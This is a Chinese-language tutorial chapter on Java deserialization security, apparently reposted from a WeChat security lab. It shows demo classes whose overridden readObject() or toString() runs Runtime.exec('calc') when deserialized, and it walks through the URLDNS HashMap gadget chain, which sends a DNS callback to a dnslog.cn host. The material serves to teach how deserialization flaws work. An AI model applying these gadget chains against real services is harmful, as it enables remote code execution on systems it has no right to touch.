【java安全】从0到1--第4章

admin 2023年5月25日09:10:16评论32 views字数 6435阅读21分27秒阅读模式
点击蓝字
【java安全】从0到1--第4章
关注我们

【java安全】从0到1--第4章



【java安全】从0到1--第4章

【java安全】从0到1--第4章
微信搜一搜
【java安全】从0到1--第4章
暗魂攻防实验室

知识点

1、JavaEE-反序列化-解释&使用&安全

2、JavaEE-安全-利用链&直接重写方法

3、JavaEE-安全-利用链&外部重写方法

项目案例

Java-原生使用-序列化&反序列化

Java-安全问题-重写方法&触发方法

Java-安全问题-可控其他类重写方法

一些罗列

【java安全】从0到1--第4章


序列化过程

【java安全】从0到1--第4章


1、序列化与反序列化

序列化:将内存中的对象压缩成字节流

反序列化:将字节流转化成内存中的对象


2、为什么有序列化技术

序列化与反序列化的设计就是用来传输数据的。

当两个进程进行通信的时候,可以通过序列化反序列化来进行传输。

能够实现数据的持久化,通过序列化可以把数据永久的保存在硬盘上,也可以理解为通过序列化将数据保存在文件中。

应用场景

(1) 想把内存中的对象保存到一个文件中或者是数据库当中。

(2) 用套接字在网络上传输对象。

(3) 通过RMI传输对象的时候。


3、几种创建的序列化和反序列化协议

• JAVA内置的writeObject()/readObject()

writeObject()//写 readObject()//读

• JAVA内置的XMLDecoder()/XMLEncoder

• XStream

• SnakeYaml

• FastJson

• Jackson

如果重写了readObject方法,可能不是一样的触发的链条了。


4、为什么会出现反序列化安全问题

内置原生写法分析

• 重写readObject方法

• 输出调用toString方法


5、反序列化利用链

(1) 入口类的readObject直接调用危险方法

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式执行


安全问题

(1) 入口类的readObject直接调用危险方法

(2) 入口参数中包含可控类,该类有危险方法,readObject时调用

(3) 入口类参数中包含可控类,该类又调用其他有危险方法的类,readObject时调用

(4) 构造函数/静态代码块等类加载时隐式执行


原生使用-序列化&反序列化

序列化(内置原生写法分析)

新建项目UserDemo,和上边一样默认配置就行。

package com.example.serialtestdemo;import  java.io.Serializable;import java.io.IOException;import java.io.ObjectInputStream;
public class UserDemo implements Serializable {
public String name = "xiaodi";
public String gender = "man"; public Integer age = 30;
public UserDemo(String name, String gender, Integer age) { this.name = name; this.gender = gender; this.age = age; System.out.println("UsedDemo:"+name); System.out.println("UsedDemo:"+gender); System.out.println("UsedDemo:"+age); }
@Override public String toString() { return "User{"+ "name='" + name + '''+ ", gender='" + gender +''' + ", age=" + age + '}';
}



}

新建SeralizableDemo()

package com.example.serialtestdemo;
import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;
public class SerializableDemo { public static void main(String[] args) throws IOException { //创建一个对象 引用UserDemo UserDemo u = new UserDemo("zhangsan", "gay", 31); //System.out.println(userDemo);
//调用方法,输出序列化的class SerializableTest(u); }
public static void SerializableTest(Object obj) throws IOException {
//FileOutputStream()输出文件
//将obj对象序列化后写入ser.txt ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt")); oos.writeObject(obj); }}

会生成对应的ser.txt,里面写的是序列化的内容

【java安全】从0到1--第4章


新建UnSerializableDemo,反序列化操作

package com.example.serialtestdemo;
import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;
public class UnSerializableDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException {
//调用下面的方法,传输ser.txt 解析还原返序列化 Object obj = UnSerializableTest("ser.txt"); System.out.println(obj); }
public static Object UnSerializableTest(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object o = ois.readObject(); return o; }}

成功执行返序列化

【java安全】从0到1--第4章


整个流程:传入值-》序列化-》返序列化。



返序列化重要代码

 public static Object UnSerializableTest(String Filename) throws IOException, ClassNotFoundException {       ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));       Object o = ois.readObject();       return o;  }

跟进readobject(),是在jdk自带的readObject()方法中

文件路径(C:Program FilesJavajdk1.8.0_181jrelibrt.jar!javaioObjectInputStream.class)

【java安全】从0到1--第4章

如果说我们不用自带的jdk的readObject()整个方法,自己写一个readObject()呢?就引出了下边的问题


Java-安全问题-重写方法&触发方法

重写readObject方法

修改UserDemo

package com.example.serialtestdemo;import  java.io.Serializable;import java.io.IOException;import java.io.ObjectInputStream;
public class UserDemo implements Serializable {
public String name = "xiaodi";
public String gender = "man"; public Integer age = 30;
public UserDemo(String name, String gender, Integer age) { this.name = name; this.gender = gender; this.age = age; System.out.println("UsedDemo:"+name); System.out.println("UsedDemo:"+gender); System.out.println("UsedDemo:"+age); }
@Override public String toString() { return "User{"+ "name='" + name + '''+ ", gender='" + gender +''' + ", age=" + age + '}';
}
private void readObject(ObjectInputStream ois) throws IOException{

Runtime.getRuntime().exec("calc"); System.out.println("成功调用重写方法readObject()");
}

}


然后再次运行SerializableDemo,以及UnserializableDemo

【java安全】从0到1--第4章


会发现成功弹出计算器,成功调用了重写方法readObject()

(这边修改了一下UI界面,在文件-》设置-》UI设置里开启)

【java安全】从0到1--第4章


因为在UserDemo中有写readObject()方法,所以在执行的序列化的过程中去执行了自己写的的readObject()类,而不是本地环境自带的readObject()类~

跟踪代码

点击调试,让后步入进去。

【java安全】从0到1--第4章

随后执行了calc。这边问题本质是执行了自己写的readObject()方法。我们随后指向JDK自带的readObject()方法。

【java安全】从0到1--第4章


修改UserDemo的readobject()内容

 private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确ReadObject ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); System.out.println("成功调用重写方法readObject()");

}

【java安全】从0到1--第4章

再一次进行返序列化看看效果(再调试跟一次)

【java安全】从0到1--第4章

发现和之前的流程不相同了。但是同样也可以弹出计算器~


输出调用toString方法

将UserDemo的readObject()方法注释掉,在toString方法中写入calc

package com.example.serialtestdemo;import  java.io.Serializable;import java.io.IOException;import java.io.ObjectInputStream;
public class UserDemo implements Serializable {
public String name = "xiaodi";
public String gender = "man"; public Integer age = 30;
public UserDemo(String name, String gender, Integer age) { this.name = name; this.gender = gender; this.age = age; System.out.println("UsedDemo:"+name); System.out.println("UsedDemo:"+gender); System.out.println("UsedDemo:"+age); }
@Override public String toString() {
try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); }
return "User{"+ "name='" + name + '''+ ", gender='" + gender +''' + ", age=" + age + '}'; }
/*private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
//指向正确defaultReadObject //ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); System.out.println("成功调用重写方法readObject()") }*/}

执行UnSerializableDemo,会发现弹出了计算器

【java安全】从0到1--第4章

是因为在执行输出时,对obj对象进行输出,默认调用原始对象toString()。

如果注释时输出,计算器将不会弹出。

【java安全】从0到1--第4章

【java安全】从0到1--第4章

重写readObject()方法,执行计算器

相当于执行序列化对象里面的readObject方法,而不是本身readObject()  -》 jdk1.8

如果换一个类,里面有readObject类,会不会触发呢


Java-安全问题-可控其他类重写方法

首先去DNSlog去拿到一个DNS,填入代码的URL的地方

当进行序列化时有数据进行过请求

package com.example.serialtestdemo;import java.io.IOException;import java.io.Serializable;import java.net.MalformedURLException;import java.util.HashMap;import java.net.URL;
import static com.example.serialtestdemo.SerializableDemo.SerializableTest;
public class UrlDns implements Serializable {
public static void main(String[] args) throws IOException { HashMap<URL,Integer> hash = new HashMap<>(); URL url = new URL("http://6w75dv.dnslog.cn"); hash.put(url,1);
SerializableTest(hash);
}}

【java安全】从0到1--第4章


当去掉序列化代码时,没有请求访问。序列化对象hash,来源自带类HashMap.(hashmap链)

Gadget Chain:HashMap.readObject()Hashmap.putVal()HashMap.hash()URL.hashCode()

ctrlf跟踪代码

【java安全】从0到1--第4章

【java安全】从0到1--第4章

【java安全】从0到1--第4章

【java安全】从0到1--第4章

1.正常代码中,创建HashMap方法返序列化数据


2.用到原生的readObject() 方法去返序列化

readObject在ObjectInputSteams

但HashMap也有readOabject()方法


3.反序列化readObject方法调用了HashMap里面的readObject方法

执行链

Gadget Chain:  HashMap.readObject()    Hashmap.putVal()      HashMap.hash()        URL.hashCode()

最后结果触发DNS请求,如果这里可以执行命令,就是RCE




【java安全】从0到1--第4章

【java安全】从0到1--第4章

java安全从0到1-第1章

【java安全】从0到1--第2章

【java安全】从0到1--第3章

anhunsec_redteam_V2.4 正式版红队渗透系统简介


【java安全】从0到1--第4章
【java安全】从0到1--第4章
微信搜一搜
【java安全】从0到1--第4章
暗魂攻防实验室


原文始发于微信公众号(暗魂攻防实验室):【java安全】从0到1--第4章

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月25日09:10:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【java安全】从0到1--第4章http://cn-sec.com/archives/1753017.html

发表评论

匿名网友 填写信息